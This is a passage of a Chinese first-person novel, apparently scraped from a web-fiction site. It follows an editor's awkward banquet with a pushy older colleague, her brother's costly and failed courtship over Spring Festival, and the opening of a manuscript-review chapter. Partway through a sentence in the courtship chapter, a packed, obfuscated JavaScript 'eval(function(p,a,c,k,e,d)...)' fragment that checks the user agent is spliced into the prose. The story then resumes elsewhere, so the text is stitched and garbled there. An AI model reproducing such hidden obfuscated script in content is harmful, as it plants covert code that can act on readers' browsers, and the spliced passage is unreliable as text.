我说:“余州大学!” 陈编辑说:“余州大学!我知道啊!你们文学院的院长叫林红!” 我说:“是的!” 陈编辑弯腰从他位子下的提包里拿出来一本书:“我要送给宋编辑一本书。这是我主编的《樊梨花传奇》。” 我站起来,一边接书,一边像学生一样低头哈腰地说:“谢谢陈老师!” 陈编辑说:“樊梨花可是一个英雄的女人。” 我说:“我小时候听我妈妈说过,樊梨花、杨凡和薛丁山。” 陈编辑说:“哦,了不起。宋编辑居然知道樊梨花。你妈妈是干什么的?” 我说:“我妈妈就是个农民,我小时候,家里可穷了。” 陈编辑说:“宋编辑是哪里人?” 我说:“我老家山东!” 陈编辑说:“山东人好啊!豪爽!山东出绿林好汉!我要再送宋编辑一本书。这书也是我主编的,《青提美食》。宋编辑不是本地人,可以通过这本书更好地了解一下青提。” 我又站起来毕恭毕敬地接过书说:“谢谢陈老师!”周围的那几个男人看着陈编辑对我如此殷勤,他们的嘴角上,露出了不可名状的微笑。 杨编辑说:“陈编辑别光送书给宋编辑啊,也给我们郝编辑一本嘛!” “好好好!”陈编辑说,“那就再给宋编辑一本,也给郝编辑一本!” “张科长,听你的口音,你是汤州人吧?”黄社长说。 “是的!” 张科长说。 “汤州是个好地方啊!文化之都。”黄社长说。 “主要是衣冠南渡以后,那些文人从北方来到了南方。把他们的文化和习俗都带到汤州来了。”张科长说。我想,科长开始卖弄他的文化了。可是,对于他的文化,我也不觉得有什么好惊艳的。不就是多读了一些书吗。他读书是为了自己的功名和仕途。旁人有什么好艳羡的。我也不是没见过文化人。我见得教授专家多了。我甚至有些讨厌虚伪的文化人呢。 “这盆子是蛇肉,大家尝尝!”黄社长说。 大家都拿起筷子夹菜。我不动筷子。 “来!小宋!弄块蛇肉尝尝!”黄社长点对点关照我说。 我笑着说:“我最怕蛇了,我不敢吃蛇肉!” “蛇肉好吃!野味!就他家有!你在别的地方根本吃不到!尝尝!尝尝!”黄社长说。 “我不敢吃!我太怕蛇了!我吃不下去!我连夹都不敢夹!”我面有难色地说。 “现杀的!新鲜的!郝跃!帮小宋夹一块!”黄社长说。 “不用!不用!我是真地太怕蛇了!我平时连书上画的动画蛇我都害怕。要是书上哪一页有蛇,我隔着多少页纸都觉得害怕!”我说。 “你尝尝呗!黄社长亲自让你吃,你都不吃。太不给黄社长面子了。”郝跃说。 “我是真地不敢吃!我进不了嘴!我要是吃了,我得恶心,洗胃!那盛菜的盆子,我都觉得它像蛇。”我说,“像土狗蛇。” “你说说!我们在这吃菜呢。你却说我们吃的菜恶心反胃!”郝跃说。 我说:“我不是说菜恶心反胃,我是因为怕蛇,所以连那菜盆子我都觉得害怕。这就是‘怕乌及乌’吧。” “你看,你连我们吃菜的盆子你都恶心!你说你这样说,我们还吃菜吧。你自己不吃,还不让我们吃。”郝跃说。 “我不是那个意思啊。我是太怕蛇了!你不要偷换概念!女人何苦为难女人啊!”我说。 “说得好!”吴编辑笑着说,“大省说话总是一针见血,入木三分!” 郝跃也跟着笑了笑。 “郝编辑你不要管宋编辑。人家实在吃不下去就不吃嘛。有的人就是怕蛇啊!我老婆跟我女儿就怕蛇啊!”陈编辑说。 “谢谢陈老师!我这辈子最怕蛇了,还怕鬼!最怕这两样儿!”我说。 “我不怕蛇,我怕老鼠!”郝跃说。 “好像是怕蛇的人不怕老鼠,怕老鼠的人不怕蛇。是有这个说法的。”陈编辑说。 散场了,我跟陈编辑说:“陈老师,再见!谢谢您送我的书!” 陈编辑说:“好的。宋编辑,再见!以后常联系!” 我说:“好的。陈老师。” 陈编辑说:“你是怎么来的啊?让他们送送你吧。” 我说:“没事儿。不用送,我自己打车,一会儿就到了。” 陈编辑说:“好的。那,以后常联系啊!” 我说:“好的。陈老师。” 我自己跑到街头,元旦前的冬天,寒风吹了起来。大街上很冷。我站在街头,打上了一辆车,赶紧赶着回家了。 到家以后,我看看手机,已经是夜里十一点了。太晚了,这种狗屁聚会,真不想去了。可是,是黄社长攒的局,我能不去吗? 我再一看手机,微信里的通讯录里,有一个好友请求,我点开一看,是陈编辑。 “陈世良。”对方说。 我鼻子哼了一声,把他送我的两本破书拍在了桌子上。我怕以后他会问我书的内容,我想了想,就把那两本破书放到了阳台上的柜子里。 可是,我又不好意思不理对方,我就接受了他的好友请求,发了一条信息说:“陈老师好。” “小宋,新年快乐!新的一年,要保重自己啊!”陈编辑说。 我想,我当然知道怎么保护自己,包括怎么躲避你这头蠢驴。 我说:“我知道了。陈老师,我有男朋友了。他会保护我的。” “耶!恭喜恭喜!”陈编辑说。 第二天,杨编辑跟我说:“社长让我写一篇篇首语,以春天为主题的,我觉得你文笔不错,你可以写吗?” 我说:“我哪有什么文笔?就是信口开河。” 她说:“我觉得你的思路总是跟我们不一样。你来写写试试吧。” 我说:“那好吧。我就瞎写写试试。好呢,你就用,不好的话,你也别笑话我。” 她说:“好的。” 晚上,睡觉前,我靠在床头上,想着杨编辑的任务,就在手机上编辑了起来: 春来音信杳。一片青红,几声黄鸟。独倚栏杆,栏内人憔悴,栏外花枝俏。枝头看取小琼苞,轻寒催人老,愁云上柳梢。碧水楼台两相摇。怕又是,雾遮连山,烟锁重桥。陌上行人把衣挑,慵男惫女羊肠道。甚光阴,还似去年好。是是非非任人笑,成成败败随心造。人常在,春不老。 我编辑好了,发给她。 “收到。”她说,“真好!” 第二天,她问我说:“那段文字真地是你写的?” “是的!” “怎么写得那么好!我给老聂看,老聂不相信是你写的。他百度了一下,网上没有找到。你怎么写得那么好呢。太有才了。人家都说吴悠悠有才,我觉得你比她还有才。” 我说:“我哪有什么才华,都是胡诌八扯。” 郝跃对我斜了斜眼睛说:“吴悠悠可是中文组公认的才女哦。大省的思辨能力满强的,中文组公认的毒舌。” 杨编辑说:“我以后写什么还要找你哈。我跟你说好了。你就是我的御用秘书。” 我说:“好啊。” 我在埋头工作的时候,陈编辑给我发来了微信:“宋编辑,这周末我在金河市有一场讲座。你有空来听啊。在河汉大酒店。” 我说:“好的。陈老师。可是我周末要加班忙工作,怕是去不了。” 陈编辑说:“有空一定来啊。” 我说:“好的。”我心里想,谁要听你的破讲座,倒给我二百块钱我都不去。 星期天的早上,我正一个人在商场里逛着买衣服,陈编辑的信息到了:“宋编辑,早啊!今天要来听我的讲座啊!我在河汉大酒店二楼。” 我说:“不好意思啊,陈老师,我跟男朋友在逛街呢,中午要一起吃饭,怕是去不了了。” 陈编辑回复说:“耶!恭喜恭喜!” 我心里想,一个老男人,频繁地跟我联系,什么玩意儿。 回家以后,我走到阳台上,拿起陈编辑送给我的那两本破书,来到楼下,哐当一声,扔进了垃圾桶里。想了想,又把手机拿出来,把那个老男人从我的微信好友里彻底删除掉。 34. 弟弟的婚事——倩倩 这年的冬天,我午睡醒来,看看手机里的未接电话,是我前夫黄林军的。 我发信息问:“什么事?” “我过生日的时候,你给我买的那件黑色的大衣,我穿着小了,给你弟弟吧。” 那件黑色的大衣我是知道的。是他过生日的时候,我给他精挑细选的。他穿着很好看,我也很喜欢。 老栾曾经提醒过我,多给父母花钱,不要给男人花太多钱。我嘴里答应着,心里做不到。我还是给他买了很多衣服。我有点外貌协会,我喜欢打扮我喜欢的男人。 我一听他要把那件大衣给我弟弟,还是动心了。我弟弟连件像样的衣服都没有,他自己不怎么打扮自己,我也从来没给他买过衣服。 “好。”我回复道。 “是你来拿,还是我给你送去?”他回复道。 “你给我送到《小坛》南门门卫吧。”我说。 “好。”这就是我们最后一次联系。 我后来抽空去了门卫,很淡定地把那件透明袋子包装的黑色的大衣拿了回家。 没几天,我弟弟跟我打电话:“姐,你回家过年吗?” 我说:“回。我想买车票的,还没买到呢。你什么时候回家啊?” 我弟弟说:“我还没放假呢。苏州这边要大年二十六才放假。等我放假了,我去接你,咱一块回去。” 我说:“行!” 他说:“那就这样说了。你早点起来,我四点就起,五点到你那儿。咱早点走,别下雪封高速了。” 我说:“行。” 第二天,我弟弟开着一辆银色的比亚迪来了,上面还贴着两张黄色的大老虎。 我问他:“你什么时候买的车啊?” 他说:“二手车,俺一个同事的,他跟我玩得可好了,两万块钱就给我了。我经常去他家玩儿,他小孩儿可可爱了。” 我说:“哦。那你车上怎么贴了两个老虎的?” 他说:“车皮被我撞坏了。不想去修了。就贴了两个老虎。这车统共就两万块钱,要是再修个车,得好几百。不合算了。” 我把那件黑色的大衣拿出来给我弟弟试了试,我弟弟穿着很帅。我觉得很好看,很开心。一点也不觉得别扭。 我跟黄林军,除了我很快就可以忘怀的他对我的折磨,其余的,我好像跟他从来没有发生过什么。我们没有热烈地爱过。 我也早已习惯了自己命运的坎坷。我从小就缺爱,害怕被抛弃。现在一个人独在异乡,无人照应。爱情这条路上,遇见了好点的人,一帆风顺,那是我的幸运;遇见了不合拍的人,跌几个跟头,是我的命运。 我突然想起了他说的话。“我遇人不淑!” “遇人不淑”,这是他那个叫伊雯的网友同情他的话。 但愿他这个君子能遇见他的“淑”女。他会的,至少在网上会的。 到家以后,我妈妈跟我说:“天寒地冻的,你以后就别回来了。寒冬雪窟的。你回来不容易,俺去接你也麻烦。” 我说:“我给你添多大的麻烦了?你去接过我几回?不都是俺小弟、小妹去接我的?过年了,我不回家,我去哪啊?” 我妈妈说:“我是说,天寒地冻的,你来一趟也麻烦。” 我说:“你说话就会夸张。有多冷啊。寒冬雪窟的?哪回我回来的时候下雪了?我又得给你送东西,又不要回来,那我直接把东西从飞机上空投给你?” 我妈妈说:“你不要给我买定西!我年纪大了,吃不了什么了。你想给我买东西的话,直接把钱打给鸿雁就行了。俺家不缺东西,缺钱!俺要钱!” 我说:“我把钱给鸿雁,就是他的了。他又不给你买好吃的。再说了,我给鸿雁那得多少钱来啊?我花二百块钱给你买点吃的,蛮好的。我要是给鸿雁二百块钱。他还嫌少呢。鸿雁那么大的一个人了,我还得每个月都得给他钱,这个压力我承受不了。” 我妈妈说:“你帮鸿雁就是帮我的。俺跟鸿雁是一家子。” 我说:“我没恁么大本事。我自己压力也大。我帮鸿雁也只能是适当地帮他。我自己日子不过了啊?我该孝敬你是孝敬你的。我欠你的,我又不欠鸿雁的。” 我妈妈说:“我现在还不要恁孝顺,等我七老八十了。恁再孝顺我。” 我说:“你不要孝顺,那是你的事。坚持孝顺你,那是我的事。我现在对你进孝了。以后你百年之后了,我就没什么好遗憾的了。” 小时候的事情,我忘记了。我越是长大,越是觉得,我妈妈在亲情这一块给我的太少了。她不知道亲情对一个孩子的重要。她不知道,一个孩子缺失了亲情,她会怎样在外头跌跌撞撞、歇斯底里地寻找。我的母亲,她不知道爱的重要。 我现在一年年地长大了,甚至开始变老。我越是长大,越是觉得自己还是个孩子,就像以前我越是小的时候,越是觉得自己是个大人。 我妈妈跟我弟弟要去我姥姥家,我就跟他们一起去。我已经很多年没有回过山东了。我的姥爷前几年去世了,我的姥娘还健在,一个小脚的老太太,八十多岁了,满头的银发。自己拄着个拐棍儿坐在门口儿。她的裹着的小脚儿,像个礼品一样,放在她空荡荡的根本没办法合脚的鞋窠塱子里,看起来像个摆设。 她大概知道了我的事,她跟我说:“她大姐,你要是不行,就抱养一个小孩儿吧,养大了也能给你养老。”我觉得我姥娘真的是老糊涂了,我干嘛要抱养孩子,又不是我不能生。再说了,我要是养孩子也不是为了什么防老。但是姥娘毕竟老了。说起话来喑哑嘲哳地,她已经老得让我觉得没有必要跟她作过多的解释了。我就含含糊糊地答应着我姥娘的话。 我们去大姨家大门口儿等大姨。大姨把她的自行车从家里推出来,在我们前头骑着。新筑的水泥小路的两旁,全是白茫茫的塑料大棚,散发着陌生又熟悉的家乡的气息。太阳从东方升起来了,塑料大棚映着太阳的光芒,像是波光浩渺的海水一样。大姨头上戴着一领红色的包头巾,身上穿着枣红色的棉衣和紫色的大围裙。很多年没见,我大姨除了老了一些,其他的,也没有多大的变化。 我大姨要去赶集算卦,我们就跟她一起去。 我跟我妈妈说:“俺大姨都七十多了,还能骑着洋车子赶集算卦。” 我妈妈说:“啊,恁大姨一天不落,刮风下雨,恁大姨都去。” 我笑着说:“俺大姨赶集算卦可赚了钱了。” 我妈妈说:“她自己舍不得花。她就带个保温壶,里头要么装着水要么装着她烧的糊豆,提包里揣上一个煎饼,这就是她今天的饭。” 我说:“我觉得大姨每天去算卦,也是因为她一个人在家太孤单了吧。她家里只剩下她一个人了。” 我妈妈说:“恁大姨养的一儿一女都成家了。恁两个小老表的工作都被恁大姨安排地明明白白的。” 我说:“那姊妹俩小时候,大姨一让他们写作业,他们就拿着红色的圆珠笔在书上画苹果。” 我妈妈说:“人家小燕现在在医院里上班,也生了孩子了。恁表弟,在电力部门工作。人家一个小丫头哭着闹着非要跟他,人家现在都有两个孩子了。” 在我的印象里,我那个小表弟是有些其貌不扬的。比他生地要好地多的多的我的弟弟,婚事还没有着落。这不能不说是因为我家里太穷的原因。 大姨对我家的事倒是颇为着急:“恁妈,拿恁姊妹两个的事儿也不上心。我早就跟她说了,恁弟弟还得培根儿,她就是不听。恁弟弟还没结婚,她也不急。我上回给恁小弟介绍了个小丫头儿,恁弟弟还不同意。他要是同意的话,恁家没有屋,我把我的屋借给恁,好给恁小弟说个媳妇。”我妈妈跟在我大姨后头,袖着手儿走路,不吭声儿。 我觉得我大姨的话言之有理。我就悄悄问我妈妈:“妈妈,俺大姨说的事儿,你不给俺小弟办的?” 我妈妈皱着眉说:“她算地不准。好几回,她算得都不准。她给恁小弟说的对象,是个神经病。我想愿意,恁小弟说不行,以后神经病犯了,怎么弄的?她说她借屋给咱,咱能借吧?她能永远给咱住吧?不管乎!” 我说:“俺大姨都那么大年纪了。还天天去赶集。自己挣的钱也舍不得花。” 我妈妈说:“恁大姨的日子也不好过,两个小孩儿都不孝顺。也怪恁大姨,嘴臭,爱骂人,恁表妹来看看她,都让她给骂走了。” 我说:“大姨把他们养活大了,就是骂他们两句,他们也不能记仇啊。她都那么大年纪了。” 我妈妈说:“恁大姨还想再抱养一个孩子来,她还想让我去给她带孩子,她说她给我工资,我不愿意。恁大姨的脾气,我受得了啊?” 我说:“俺大姨都恁么大年纪了,怎么还想着养个孩子的?” 我妈妈说:“恁大姨,也是迷了,都七十岁的人了,还想再养个小孩儿。人家红喜因为这个都不理她了。她去红喜家,红喜都不给她开门。都是红喜他对象去开门儿。” 快过年的时候,我妈妈带着我弟弟出门儿去相亲了。 我妈妈回来的时候,笑得喜气洋洋地:“恁国佩三爷爷、三奶奶给恁弟弟介绍了对象,叫杨倩,是东夫镇上人家的闺女,27岁了,在农村来说,也是老姑娘了。听说她娘家可阔了,家里楼上楼下有十二间门面,两个哥都成家立业了,只有她一个闺女跟着她娘。人家自己也很能干,每天起早贪黑卖菜煎饼,特别能吃苦。” “咱家恁么穷,还没买房子。人家是看上俺小弟什么了呢?”我说。 “人家什么都不图,就图恁弟弟长得好。”我妈妈喜滋滋地说。那时候,我弟弟还没有发福,身材很好,穿上我给的那件黑大衣,确实是一表人才。他自己又买了几件好似特种兵穿的黑色的衣服,还有好似军人穿的大皮鞋。那时候,他确实有几分姿色和风度。 我就在家里住着。我弟弟怕我冷,把他自己的床垫给了我铺上,他自己睡个铺了一层薄苫子的木板床,冻得直咳嗽。我要把垫子给他铺上,他也不肯,直说:“够了,够了。不冷。不冷。” 年三十儿下午,我妈妈说:“出过门子的闺女不能在娘家过年,对娘家不好。你去青羊山街上找家宾馆住吧。这里头有说道的,‘不过端阳,死她同床。不过十五,死她婆母,不过初一,死她自己。’”我听了一愣。没想到我妈妈会对我有这样的要求,我知道,我妈妈迷信严重,这是我不能拒绝的。 虽然我以前就听我奶奶说过,出过门子的闺女不能在娘家过节,必须在婆家过节。但是,等到我妈妈拿这古老的天条来要求我,我心里还是有点失落。说白了,谁回家过年,还不是图个团团圆圆,过得还不是大年初一那一天。我既然回了娘家,我妈妈却不让我在娘家过年,要把我赶到镇上,让我住宾馆。大年初一不能回娘家,我这个年还不是过得孤孤单单,冷冷清清吗? 我妈妈怕我不高兴,又找补说:“老俗语是这样说的,在娘家过年不好。不一定是对谁不好。也可能是对俺不好,也可能是对你不好。” 我说:“主要还是怕对恁不好。我自己才不在乎这个。我如果不出去住,不仅你不会同意,更不能过了鸿雁这一关。他还要子孙兴旺的。”我知道,我弟弟肯定也是赞同我妈妈的意见的。他这几年经常回山东我姥姥家,跟我大姨学了一套鬼鬼神神的说法。何况,他还未曾婚配,自然对这个说法是计较的。于是,我简单地收拾一下东西,拉上行李箱,就坐着我弟弟的老虎车上路了。 大街上,很多店铺都关门了。我弟弟拉着我的行李箱走在前头,他在积极地帮我找宾馆。我跟着他的脚步,我觉得我们不是一家子,我是被他押送的囚犯,非要送到指定的地点。终于,我们找到了一家叫“祥宇宾馆”的地方,那家子老板娘是一个六十多岁的女人,面相也和蔼。我到柜台前拿出身份证做了登记,交了一天的钱和押金。钱不贵,毕竟是镇上的宾馆,一天只要七十块钱。 交钱以后,我弟弟就走了。我一个人进了宾馆,插上门,开始打扫卫生,收拾东西。我打扫好卫生后,锁上门,来到楼下。附近有一家还没关门的超市,我进去溜达了一圈,买了几包酸辣粉,和薯片。这就是我的大年三十的年夜饭,和初一的年饭。 回到宾馆的时候,老板娘看到了我,热情地招呼我说:“我煮了饺子,给你盛一碗吧?” 我说:“不了!不了!不用麻烦了!谢谢!谢谢!” 老板娘说:“别客气哈!你要是吃的话,我给你端一碗过去!” 我说:“真不吃!谢谢!谢谢!”说完,我回到宾馆,把门反锁上,打开电视,一个人坐在被窝里看起了电视。说实话,除了不能回家,除了一个人,宾馆里的环境比我家要好的多。我拿着遥控器找了找,找了一个叫《情满四合院》的电视剧,津津有味地看了起来。 大年初一的时候,我妹妹给我发来了信息:“姐,新年快乐!我去看看你去吧。” 我说:“不用了。你们好好过年吧。我现在这个样子,你们来了反而不好。你忙你的,带着三个孩子好好过年吧。” 我妹妹说:“那好吧。你也快快乐乐的。” 我说:“好的。” 快到晌午的时候,我弟弟来了,给我带了一塑料袋子吃的。是我妈妈打发他送来的。我打开一看,无非是我买的苹果,点心,还有瓜子。我哪个都不是很想吃。等我弟弟回去了,我还是自己一个人认认真真地看电视。等初一下午,我弟弟就来接我了。 过完年,我弟弟跟我妈妈说:“倩倩要来咱家给你拜年。” 我妈妈说:“行。人家倩倩要来,咱还能不让人家来啊。” 我说:“咱家还没有桌子。” 我妈妈说:“那鸿雁赶紧去买个桌子。” 鸿雁说:“咱家也没有电视。” 我妈妈说:“那鸿雁赶紧去买个电视。” 我弟弟去赶集去了,他回来的时候,买了一个绿色的长方形的折叠桌子,和一个黑色的有点老气的大肚子的电视。 我妈妈把桌子放在平房屋里的正中央,在桌子上头摆了花生、瓜子。她的那些陈年旧物还是几十年如一日地摆着。一个个的化肥袋子码好了摆着,十几年了几乎没有挪过窝儿。那些化肥袋子一个个地都扎着口儿,圆滚滚的,一个一个地从下到上的摞着,像战壕里的沙袋。 我妈妈一直哀嚎着想要个儿媳妇,可是我觉得她的想法只停留在意念上。实际行动上,她并没有什么样的改变。她依然保留着她屋里的那些破破烂烂,固守着她千年不变的习惯。俺家的天井里也是没有丝毫的改变。她依然固执地坚守着她的意念。她知不知道,找一个儿媳妇不是找一只耗子或是一只猫。一个人是有审美的,一个姑娘家是喜欢干净整洁的。我妈妈嘴上心里想着要一个儿媳妇,可是她并没有为她的儿子打造一个温暖的爱巢来吸引那些观望的小鸟。 “妈,咱家的那些破东烂西的还没处理啊?”我问,“俺小弟都找了对象了。人家小丫头来看到,不嫌难看啊。” “哪事儿哎。都卖了。我跟鸿雁一块儿去卖的。卖了满满两拖拉机!”我妈妈说。 “我怎么看着一点儿都没少的。”我说。 “卖过了。要不比这还多。”我妈妈说。 倩倩既然来拜年,那就要给见面礼,我妈妈给两千,我给一千。 初二那天,倩倩来了。我弟弟买了一挂小鞭,在大门口“噼里啪啦”地炸了起来,我家连门儿都没有的黄土地的大门口儿立马腾起一阵蓝色的烟雾。倩倩来了,我们赶紧迎接。我们把她簇拥着接到平房屋门口儿。倩倩朝着我妈妈纳头便拜,嘴里说着:“给俺婶子拜年!” 我妈妈戴着一顶绛红色的毛线帽,面上挂出我不太熟悉的仿佛是佘老太君似的微笑:“我的小儿噢!” 我妈妈的脸笑得像朵立体的牡丹花。我在一旁觉得那笑容有些奇怪,那一声“我的小儿”也很是虚假。我妈妈是巴望着我弟弟结婚,但她对这个陌生的倩倩断没有什么特殊的疼爱和喜欢。 我们赶紧扶倩倩起来,我妈妈拿出用红纸包着的三千块钱的压岁钱,倩倩故作“不要不要”,但是倩倩照例是要收下的。我们也断没有不让她收下的道理。 我笑着跟倩倩搭话,倩倩盯着我说:“俺姐恁好的。” 我定睛瞧了瞧,发现这个倩倩也不怎么好看。比我还要不好看。她有着大大的但是突出的眼珠子,鼓鼓的脾气应该不小的嘴巴,让人想到蟾蜍。她涂着白霜,面色红润,面带凶相,总体来说还算富态。倩倩拜了年,略坐了一下,就被我弟弟簇拥着走了。倩倩不在我家吃饭,我弟弟带她出去吃。 此后,我弟弟每天骑车去跟倩倩见面,陪着她卖菜煎饼,陪着她说话,带她去逛街,给她买衣服,请她去市里玩,请她吃火锅,吃大餐。我弟弟虽然家里没钱,自己没钱,但是对女人挺大方,很舍得花钱。我妈妈当然是力挺他的恋爱。每天早上,我妈妈笑嘻嘻地站在大门儿口儿,看着我弟弟推着电动车出门儿去找倩倩,仿佛是看着奉命出征 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我说:“倩倩比你大是吗?女孩子总是喜欢被呵护的,她比你大,你也不要叫她‘姐’。你一口一个‘姐’的。哪里还有恋爱的味道啊。” 我弟弟说:“你不懂这里的道道儿。我就是要装地嫩一点。这样才好!”我又不吭声儿了。 我们到了镇上一家服装店,我弟弟看上了一条牛仔裤,我给我弟弟付了钱。他又看上了一件羽绒服,又等着我去付钱。我说:“我手里钱也不多了。你自己付吧。”我弟弟只好自己把钱付了。 我弟弟跟倩倩一起去她哥哥家,回来以后跟我们描述见大舅哥的情况,当然是一切良好。 “我跟她哥聊地正热乎呢,倩倩就要喊我走了。我说,我再跟大哥聊几句儿。她大哥也很喜欢我。”我弟弟说。 “好好好!”我妈妈听了又是很高兴,一切胜利在望。 一天晚上,天已经上了黑影儿了。我妈妈去地里干活还没有回来,我弟弟在跟倩倩打电话。 “你明天一大早就要去进货啊?进一次性的碗?一次性的筷子?哦。那明天一大早我就去恁家帮你。”我弟弟说,“就是离地太远了。十里路呢。等结婚以后就离地近了。嘻嘻!” “俺妈妈还没回来。嗯,我自己搁家的。”我弟弟跟电话那头儿的倩倩说。 我蹲在屋门口儿的地上,离我弟弟有几步远。我以为倩倩听不到。就见缝儿插针地问了我弟弟一句:“咱妈妈还没回来啊?” 大概是被倩倩听到了。她生气了,不理我弟弟了。 “倩倩不理我了。”我弟弟说。他紧跟着试图跟她联系,对方却是怎么都不肯接电话。 “倩倩生气了?她以为是其他女孩子了?”我说,“那你赶紧跟她解释一下,就说,刚才说话的女声儿,不是别人,是你大姐。” 我弟弟说:“解释了,没有用。倩倩不理我了。”我弟弟一下子从阳光灿烂变成了阴云密布。 我也很着急,我说:“对不起啊。小弟。” 此刻,我弟弟早已从意气风发的大老虎变成一只萎靡不振的病猫了。 他耷拉着脑袋低声儿说:“没事儿。没事儿。”他盯着手里的手机,继续上下求索地给倩倩发着信息,不住地跟倩倩解释着。我也跟着干捉急。我知道,倩倩是我家的幻想中的大少奶奶。她的存在,是我妈妈跟我弟弟的喜悦和希望之所在。取悦倩倩,兹事体大。惹怒了倩倩,罪莫大焉。我弟弟的婚事如果因我而闹掰。我可就成了我家的罪人了。我在心里捏着一把汗。希望我弟弟能早点跟倩倩接上弦儿。即使他们俩儿以后再因其他的事闹掰,那也不关我事。总之,不要在我的手里闹掰。 不一会儿,我妈妈扛着干活的家伙从地里回来了。她看见我弟弟垂头丧气地,就问我弟弟:“怎么回事儿啊?鸿雁?” 我弟弟说:“倩倩不理我了。打电话也不接。发信息也不回。” “是吗?那是怎么回事儿啊?”我妈妈惶惑地说。 “我见你还没回来,我就问了一句‘咱妈还没回来的’。可能被倩倩听到了,以为是其他的女孩子了。”我跟我妈妈解释说。我知道,我娘家假象中的大少奶奶生气了。我是罪魁祸首。我得勇担责任,不能抵赖。 “也怪我。我嫌多事儿,我就跟倩倩说的,就我自己搁家的。”我弟弟说。 我妈妈瞬间明白了事情的原委,确实是我的责任。她也没好气地怪我道:“都是你!人家原来好好的!” 我说:“我又没说什么。就说了一句,‘咱妈怎么还不回来的’,倩倩就误会了。” 我妈妈像瘪了气的皮球。她沉着脸说:“吃饭吧!”她自己跑去院子里“呱啦呱啦”地洗手去了。我也小心翼翼地端着碗去锅屋盛汤吃饭了。 我妈妈耷拉着脑袋捧着饭碗低头喝汤。我弟弟伤心抑郁,无心吃饭,一个人默默地上了床,蒙着被子,边跟倩倩发信息边难过,谁也不理了。就这样,我们家里变得阴沉沉的。我和我妈妈谁也不说话,我们就这样默默地喝了汤,吃完了饭。各自回屋去睡觉了。 半夜,我还在熟睡中。咣当一声,我弟弟房间的门响了。我弟弟捧着手机跑了出来。他跑到天井里,朝着堂屋里头的我妈妈大声欢呼说:“妈!妈!倩倩给我发信息了!我给她解释清楚了!倩倩给我发信息了!” 我妈妈听了,隔着门儿高兴地说:“倩倩发信息了?好!你跟她好好解释解释,让她可别生气了。” 我弟弟说:“解释了!她知道了。” 我听了也如释重负,阿弥陀佛!我的妈!我的罪过终于解脱了。我们家又开始欢天喜地了。 我弟弟又开始每天上班一样去找倩倩,又给倩倩、给倩倩家花了不少钱。 一天晚上,我弟弟回来以后,带回来小半袋子带壳的生花生:“倩倩妈妈给的。” 我妈妈像得到了赏赐一样,非常高兴:“倩倩妈妈亲自给的花生,说明她认可你。”我妈妈说。这简直是御赐的花生。我心里想,还不是靠我弟弟给人家花钱换来的。 这样的日子一直到了快元宵节的时候,大家都要去上班了。我弟弟不能陪着倩倩坐吃山空,还要奔赴苏州上班。情人节,妇女节,都给她寄了礼物。 但是倩倩的态度逐渐冷了下来。我弟弟再去找她的时候,就开始找不到她了。 “倩倩去参加同学聚会了。”倩倩妈妈告诉我弟弟。我弟弟只好失落而归。 “什么同学聚会啊!”我妈妈说,“秋天的时候,我搁大山冈,看到一群人搁大山冈那来,男男女女,一群人,又吃又喝,又唱又跳,搂搂抱抱,临走了,留下一堆汽水包。” 倩倩去同学聚会了,我弟弟只好三顾茅庐,择吉日再次登门。 等我弟弟下次再去的时候,倩倩的身边多了一个男人。原来又有人给她介绍对象了。 我弟弟去找倩倩的妈妈。倩倩的妈妈跟我弟弟说话也不高兴了:“你给倩倩也没花多少钱。她想买个电脑,你都没买。” 我弟弟掐指一算,自从年前到年后“五一”,这半年的时间,他带着倩倩吃火锅,买东西,加上压岁钱见面礼,杂七杂八的,万把块钱下去了。倩倩也就跟他牵了牵手。女方一句这不好那不好,这段感情连同这万把块钱就一起打了水漂。 我妈妈深表遗憾。 我弟弟说:“你也不要遗憾。她也不喜欢你。上次拜年,她到了外面跟我说,‘恁妈妈跟痰迷(神经病)似的。’” 我妈妈听了正色道:“这个小丫头,原来是这样说我的!”她立刻变得不喜欢倩倩了。 35. 审稿奇遇记 三年的循环结束了,我们又开始了新的三年。其实,稿一稿二阶段,我自我感觉还是良好的。因为这两个阶段,领导分派给我的资源相对要好一点。我的相对突出一些的业绩,让我有些奋发有些自信甚至有些膨胀了。一时间,我觉得我是跟其他同事平起平坐的人了。这个阶段,我在组里的发言似乎都硬气多了。 而且,稿一稿二阶段的同事和办公室跟稿三阶段的不同。稿一稿二阶段,人员相对少一些,资源分配相对公平一些,有资历的大佬也少很多。人与人之间也相对平等一些,同事之间的气氛也比较随和一些。我的脊梁骨也稍微挺直了一些。恍惚间仿佛,我跟她们是平等的了。 每一阶段的人员都有所微调,这一年的办公室和同事跟去年也是不同。这一年,我们中文组的小组长是梁编辑。 一天,孙部长说:“这批稿子有两千多份,大家辛苦辛苦,要在两天之内审完,我们再统一对这批稿子的质量做一个分析。” 梁编辑说:“分工已经出来了,大家登录各自的账号和密码,就可以开始审稿了。审稿过程中遇到什么问题,大家再一起讨论。” 吴编辑说:“这次在我们自己单位审稿,还是去《且戒》审稿?” 梁编辑说:“这次在我们单位机房,《且戒》中文组的人到我们这里来。明天早上八点钟在单位机房集合。” 吴编辑说:“有早饭吗?” 梁编辑说:“有早饭。” 吴编辑说:“那我就不在家吃早饭了。” 第二天八点钟,大家陆陆续续到了机房。《切戒》的人坐在前面一排,《小坛》的人坐在后头一排。大家有的拿着单位提供的包子在吃早饭,有的在热烈地讨论着电脑屏幕上的稿件。 区指导员许编辑也到了。 他说:“大家辛苦了。赶紧吃早饭吧。吃完早饭看看群里发的账号和登录密码。赶紧审起来吧。” 他的声音很快被《小坛》编辑们的讨论声给淹没了。 “这篇稿子是写王熙凤毒辣的,她把贾瑞给活活地害死了。”赵编辑说。 “这怎么叫毒辣?贾瑞这是活该!罪有应得!谁让他去勾引人家的?”吴悠悠说。 “王熙凤自己也不干净,她跟贾蓉还有一腿儿呢?贾瑞怎么就不行了?假正经!” 赵编辑说。 “你这是什么话?你这简直是□□犯的逻辑。王熙凤跟贾蓉即使有一腿儿,那也是出于她个人的意愿和喜好。如果王熙凤自己喜欢贾蓉,那贾蓉在她心目中就是比她丈夫贾琏还要重要的存在。她跟贾蓉如何如何,那都是出于儿女情长的喜欢。”吴编辑说。 “贾瑞不也是她的小叔子吗?她为什么就要这样害他?毒妇!”赵编辑说。 